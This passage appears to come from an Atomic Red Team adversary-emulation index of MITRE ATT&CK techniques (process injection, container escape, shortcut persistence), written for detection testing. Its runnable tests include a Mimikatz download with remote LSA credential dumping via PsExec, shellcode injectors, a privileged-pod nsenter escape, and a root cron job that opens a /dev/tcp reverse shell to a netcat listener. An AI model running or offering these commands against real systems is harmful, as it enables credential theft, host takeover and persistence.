"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path}) ' prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1} ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" -UseBasicParsing Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force executor: command: '"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit" ' name: command_prompt elevation_required: false - name: Section View Injection auto_generated_guid: c6952f41-6cf0-450a-b352-2ca8dae7c178 description: "This test creates a section object in the local process followed by a local section view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n" supported_platforms: - windows executor: command: | $notepad = Start-Process notepad -passthru Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe" cleanup_command: Stop-Process $notepad.pid name: powershell - name: Dirty Vanity process Injection auto_generated_guid: 49543237-25db-497b-90df-d0a0a6e8fe2c description: "This test used the Windows undocumented remote-fork API RtlCreateProcessReflection to create a cloned process of the parent process\nwith shellcode written in its memory. The shellcode is executed after being forked to the child process. The technique was first presented at \nBlackHat Europe 2022. Shellcode will open a messsage box and a notepad.\n" supported_platforms: - windows input_arguments: pid: description: Parent process ID type: string default: "(Start-Process calc.exe -PassThru).Id" executor: command: 'Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe" #{pid} ' cleanup_command: Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: false - name: Read-Write-Execute process Injection auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5387384f1e1' description: "This test exploited the vulnerability in legitimate PE formats where sections have RWX permission and enough space for shellcode.\nThe RWX injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory, thus evading detection mechanisms \nthat relied on API call sequences and heuristics. The RWX injection utilises API call sequences: LoadLibrary --> GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.\nThe injected shellcode will open a message box and a notepad.\nRWX Process Injection, also known as MockingJay, was introduced to the security community by SecurityJoes.\nMore details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution.\nThe original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.\n" supported_platforms: - windows input_arguments: vuln_dll: description: vulnerable DLL type: path default: PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll dependency_executor_name: powershell dependencies: - description: 'Utility to inject must exist on disk at specified location (#{vuln_dll}) ' prereq_command: 'if (Test-Path "#{vuln_dll}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{vuln_dll}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll" -OutFile "#{vuln_dll}" executor: command: | $address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value & "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: true - name: Process Injection with Go using UuidFromStringA WinAPI auto_generated_guid: 2315ce15-38b6-46ac-a3eb-5e21abef2545 description: "Uses WinAPI UuidFromStringA to load shellcode to a memory address then executes the shellcode using EnumSystemLocalesA.\nWith this technique, memory is allocated on the heap and does not use commonly suspicious APIs such as VirtualAlloc, WriteProcessMemory, or CreateThread \n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)\n- References: \n - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/\n \ - https://twitter.com/_CPResearch_/status/1352310521752662018\n - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala\n" supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: Process Injection with Go using EtwpCreateEtwThread WinAPI auto_generated_guid: 7362ecef-6461-402e-8716-7410e1566400 description: "Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode within the application's process.\nThis program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space\n3. Change the memory page permissions to Execute/Read with VirtualProtect\n4. Call EtwpCreateEtwThread on shellcode address\n5. Call WaitForSingleObject so the program does not end before the shellcode is executed\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)\n- References: \n - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3\n \ - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm\n" supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\EtwpCreateEtwThread.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: Remote Process Injection with Go using RtlCreateUserThread WinAPI auto_generated_guid: a0c1725f-abcd-40d6-baac-020f3cf94ecd description: "Executes shellcode in a remote process.\n\nSteps taken with this technique\n1. Get a handle to the target process\n2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process\n4. Change the memory page permissions to Execute/Read with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n- References: \n - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n" supported_platforms: - windows input_arguments: spawn_process_path: description: Path of the binary to spawn type: string default: C:\Windows\System32\werfault.exe spawn_process_name: description: Name of the process spawned type: string default: werfault executor: name: powershell elevation_required: false command: | $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue - name: Remote Process Injection with Go using CreateRemoteThread WinAPI auto_generated_guid: 69534efc-d5f5-4550-89e6-12c6457b9edd description: | Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process. This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess(). Steps taken with this technique 1. Get a handle to the target process 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process 4. Change the memory page permissions to Execute/Read with VirtualProtectEx 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread 6. Close the handle to the remote process - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread) - References: - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection supported_platforms: - windows input_arguments: spawn_process_path: description: Path of the binary to spawn type: string default: C:\Windows\System32\werfault.exe spawn_process_name: description: Name of the process spawned type: string default: werfault executor: name: powershell elevation_required: false command: | $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue - name: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively) auto_generated_guid: 2a4ab5c1-97ad-4d6d-b5d3-13f3a6c94e39 description: | Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process. This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. 1. Get a handle to the target process 2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write 3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process 4. Change the memory page permissions to Execute/Read with VirtualProtectEx 5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread 6. Close the handle to the remote process - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative) supported_platforms: - windows input_arguments: spawn_process_path: description: Path of the binary to spawn type: string default: C:\Windows\System32\werfault.exe spawn_process_name: description: Name of the process spawned type: string default: werfault executor: name: powershell elevation_required: false command: | $process = Start-Process #{spawn_process_path} -passthru $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug cleanup_command: | Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue - name: Process Injection with Go using CreateThread WinAPI auto_generated_guid: 2871ed59-3837-4a52-9107-99500ebc87cb description: | This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call CreateThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread) supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThread.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: Process Injection with Go using CreateThread WinAPI (Natively) auto_generated_guid: 2a3c7035-d14f-467a-af94-933e49fe6786 description: | This program executes shellcode in the current process using the following steps 1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write 2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space 3. Change the memory page permissions to Execute/Read with VirtualProtect 4. Call CreateThread on shellcode address 5. Call WaitForSingleObject so the program does not end before the shellcode is executed This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly. - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative) supported_platforms: - windows executor: name: powershell elevation_required: false command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug\n" cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue ' - name: UUID custom process Injection auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5304734f1e1' description: | The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, WriteProcessMemory and CreateThread The injected shellcode will open a message box and a notepad. Reference to NCC Group: https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/ Concept from: http://ropgadget.com/posts/abusing_win_functions.html supported_platforms: - windows input_arguments: exe_binary: description: PE binary type: path default: PathToAtomicsFolder\T1055\bin\x64\uuid_injection.exe dependency_executor_name: powershell dependencies: - description: 'Portable Executable to inject must exist at specified location (#{exe_binary}) ' prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/uuid_injection.exe" -OutFile "#{exe_binary}" executor: command: |- Start-Process "#{exe_binary}" Start-Sleep -Seconds 7 Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force name: powershell elevation_required: true T1611: technique: modified: '2024-04-19T12:42:18.632Z' name: Escape to Host description: |- Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview) There are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host’s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host; utilizing a privileged container to run commands or load a malicious kernel module on the underlying host; or abusing system calls such as `unshare` and `keyctl` to escalate privileges and steal secrets.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20)(Citation: Container Escape)(Citation: Crowdstrike Kubernetes Container Escape)(Citation: Keyctl-unmask) Additionally, an adversary may be able to exploit a compromised container with a mounted container management socket, such as `docker.sock`, to break out of the container via a [Container Administration Command](https://attack.mitre.org/techniques/T1609).(Citation: Container Escape) Adversaries may also escape via [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), such as exploiting vulnerabilities in global symbolic links in order to access the root directory of a host machine.(Citation: Windows Server Containers Are Open) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, accessing other containers running on the host, or setting up a command and control channel on the host. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Yuval Avrahami, Palo Alto Networks - Daniel Prizmant, Palo Alto Networks - Alfredo Oliveira, Trend Micro - David Fiser, @anu4is, Trend Micro - Idan Frimark, Cisco - Magno Logan, @magnologan, Trend Micro - Ariel Shuper, Cisco - Yossi Weizman, Azure Defender Research Team - Vishwas Manral, McAfee - CrowdStrike - Eran Ayalon, Cybereason - Oren Ofer, Cybereason - Ilan Sokol, Cybereason - Joas Antonio dos Santos, @C0d3Cr4zy x_mitre_deprecated: false x_mitre_detection: Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Linux - Containers x_mitre_version: '1.5' x_mitre_data_sources: - 'Process: Process Creation' - 'Kernel: Kernel Module Load' - 'Container: Container Creation' - 'Volume: Volume Modification' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator - User - root type: attack-pattern id: attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665 created: '2021-03-30T17:38:34.277Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1611 external_id: T1611 - source_name: Container Escape description: 0xn3va. (n.d.). Escaping. Retrieved May 27, 2022. url: https://0xn3va.gitbook.io/cheat-sheets/container/escaping - source_name: Windows Server Containers Are Open description: Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021. url: https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/ - source_name: Docker Overview description: Docker. (n.d.). Docker Overview. Retrieved March 30, 2021. url: https://docs.docker.com/get-started/overview/ - source_name: Docker Bind Mounts description: Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021. url: https://docs.docker.com/storage/bind-mounts/ - source_name: Trend Micro Privileged Container description: Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021. url: https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html - source_name: Intezer Doki July 20 description: 'Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.' url: https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/ - source_name: Crowdstrike Kubernetes Container Escape description: 'Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.' url: https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/ - source_name: Keyctl-unmask description: 'Mark Manning. (2020, July 23). Keyctl-unmask: "Going Florida" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.' url: https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1611 atomic_tests: - name: Deploy container using nsenter container escape auto_generated_guid: 0b2f9520-a17a-4671-9dba-3bd034099fff description: | In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container. Additional Details: - https://twitter.com/mauilion/status/1129468485480751104 - https://securekubernetes.com/scenario_2_attack/ supported_platforms: - containers dependency_executor_name: sh dependencies: - description: Verify docker is installed. prereq_command: 'which docker ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker ' get_prereq_command: 'sudo systemctl start docker ' - description: Verify kind is in the path. prereq_command: 'which kind ' get_prereq_command: | curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64 chmod +x ./kind mv kind /usr/bin/kind - description: Verify kind-atomic-cluster is created prereq_command: 'sudo kind get clusters ' get_prereq_command: 'sudo kind create cluster --name atomic-cluster ' - description: Verify kubectl is in path prereq_command: 'which kubectl ' get_prereq_command: | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" chmod +x ./kubectl mv kubectl /usr/bin/kubectl executor: command: 'kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides ''{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'' ' name: sh cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-escape-pod ' - name: Mount host filesystem to escape privileged Docker container auto_generated_guid: 6c499943-b098-4bc6-8d38-0956fc182984 description: "This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser.\nThe container running the test needs be privileged. \ It may take up to a minute for this to run due to how often crond triggers a job.\nDev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. \n" supported_platforms: - containers input_arguments: mount_device: description: Path to the device of the host's disk to mount type: path default: "/dev/dm-0" mount_point: description: Path where the host filesystem will be mounted type: path default: "/mnt/T1611.002" cron_path: description: Path on the host filesystem where cron jobs are stored type: path default: "/etc/cron.d" cron_filename: description: Filename of the cron job in cron_path type: string default: T1611_002 listen_address: description: IP address to listen for callback from the host system. type: string default: "`ifconfig eth0 | grep inet | awk '{print $2}'`" listen_port: description: TCP Port to listen on for callback from the host system. type: integer default: 4444 dependency_executor_name: sh dependencies: - description: Verify mount is installed. prereq_command: 'which mount ' get_prereq_command: 'if [ "" == "`which mount`" ]; then echo "mount Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install mount ; elif [ -n "`which yum`" ]; then sudo yum -y install mount ; fi ; else echo "mount installed"; fi ' - description: Verify container is privileged. prereq_command: 'capsh --print | grep cap_sys_admin ' get_prereq_command: 'if [ "`capsh --print | grep cap_sys_admin`" == "" ]; then echo "Container not privileged. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi ' - description: Verify mount device (/dev/dm-0) exists. prereq_command: 'ls #{mount_device} ' get_prereq_command: 'if [ ! -f #{mount_device} ]; then echo "Container not privileged or wrong device path. Re-start container in insecure state. Docker: run with --privileged flag. Kubectl, add securityContext: privileged: true"; fi ' - description: Netcat is installed. prereq_command: 'which netcat ' get_prereq_command: 'if [ "" == "`which netcat`" ]; then echo "netcat Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install netcat ; elif [ -n "`which yum`" ]; then sudo yum -y install netcat ; fi ' - description: IP Address is known. prereq_command: 'if [ "#{listen_address}" != "" ]; then echo "Listen address set as #{listen_address}" ; fi ' get_prereq_command: 'if [ "" == "`which ifconfig`" ]; then echo "ifconfig Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install net=tools ; elif [ -n "`which yum`" ]; then sudo yum -y install net-tools ; fi ' executor: name: sh elevation_required: true command: | if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename} echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename} echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename} echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename} netcat -l -p #{listen_port} 2>&1 cleanup_command: | rm #{mount_point}#{cron_path}/#{cron_filename} umount #{mount_point} rmdir #{mount_point} T1547.009: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Boot or Logon Autostart Execution: Shortcut Modification' description: |- Adversaries may create or modify shortcuts that can execute a program during system boot or user login. Shortcuts or symbolic links are used to reference other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries may abuse shortcuts in the startup folder to execute their tools and achieve persistence.(Citation: Shortcut for Persistence ) Although often used as payloads in an infection chain (e.g. [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)), adversaries may also create a new shortcut as a means of indirection, while also abusing [Masquerading](https://attack.mitre.org/techniques/T1036) to make the malicious shortcut appear as a legitimate program. Adversaries can also edit the target path or entirely replace an existing shortcut so their malware will be executed instead of the intended legitimate program. Shortcuts can also be abused to establish persistence by implementing other methods. For example, LNK browser extensions may be modified (e.g. [Browser Extensions](https://attack.mitre.org/techniques/T1176)) to persistently launch malware. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - David French, Elastic - Bobby, Filar, Elastic - Travis Smith, Tripwire x_mitre_deprecated: false x_mitre_detection: |- Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections. Monitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'File: File Creation' x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179 created: '2020-01-24T19:00:32.917Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/009 external_id: T1547.009 - source_name: 'Shortcut for Persistence ' description: Elastic. (n.d.). Shortcut File Written or Modified for Persistence. Retrieved June 1, 2022. url: https://www.elastic.co/guide/en/security/7.17/shortcut-file-written-or-modified-for-persistence.html#shortcut-file-written-or-modified-for-persistence - source_name: BSidesSLC 2020 - LNK Elastic description: French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020. url: https://www.youtube.com/watch?v=nJ0UsyiUEqQ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1547.009 atomic_tests: - name: Shortcut Modification auto_generated_guid: ce4fc678-364f-4282-af16-2fb4c78005ce description: | This test to simulate shortcut modification and then execute. example shortcut (*.lnk , .url) strings check with powershell; gci -path "C:\Users" -recurse -include *.url -ea SilentlyContinue | Select-String -Pattern "exe" | FL. Upon execution, calc.exe will be launched. supported_platforms: - windows input_arguments: shortcut_file_path: description: shortcut modified and execute type: path default: "%temp%\\T1547.009_modified_shortcut.url" executor: command: | echo [InternetShortcut] > #{shortcut_file_path} echo URL=C:\windows\system32\calc.exe >> #{shortcut_file_path} #{shortcut_file_path} cleanup_command: 'del -f #{shortcut_file_path} >nul 2>&1 ' name: command_prompt - name: Create shortcut to cmd in startup folders auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2 description: | LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" to view the new shortcut. supported_platforms: - windows executor: command: | $Shell = New-Object -ComObject ("WScript.Shell") $ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk") $ShortCut.TargetPath="cmd.exe" $ShortCut.WorkingDirectory = "C:\Windows\System32"; $ShortCut.WindowStyle = 1; $ShortCut.Description = "T1547.009."; $ShortCut.Save() $Shell = New-Object -ComObject ("WScript.Shell") $ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk") $ShortCut.TargetPath="cmd.exe" $ShortCut.WorkingDirectory = "C:\Windows\System32"; $ShortCut.WindowStyle = 1; $ShortCut.Description = "T1547.009."; $ShortCut.Save() cleanup_command: | Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore name: powershell elevation_required: true T1547.005: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462 type: attack-pattern created: '2020-01-24T17:16:11.806Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1547.005 url: https://attack.mitre.org/techniques/T1547/005 - url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html description: Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. source_name: Graeber 2014 - url: https://technet.microsoft.com/en-us/library/dn408187.aspx description: Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. source_name: Microsoft Configure LSA modified: '2021-04-29T14:49:39.188Z' name: 'Boot or Logon Autostart Execution: Security Support Provider' description: |- Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: 'Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\SOFTWARE\Microsoft\Windows 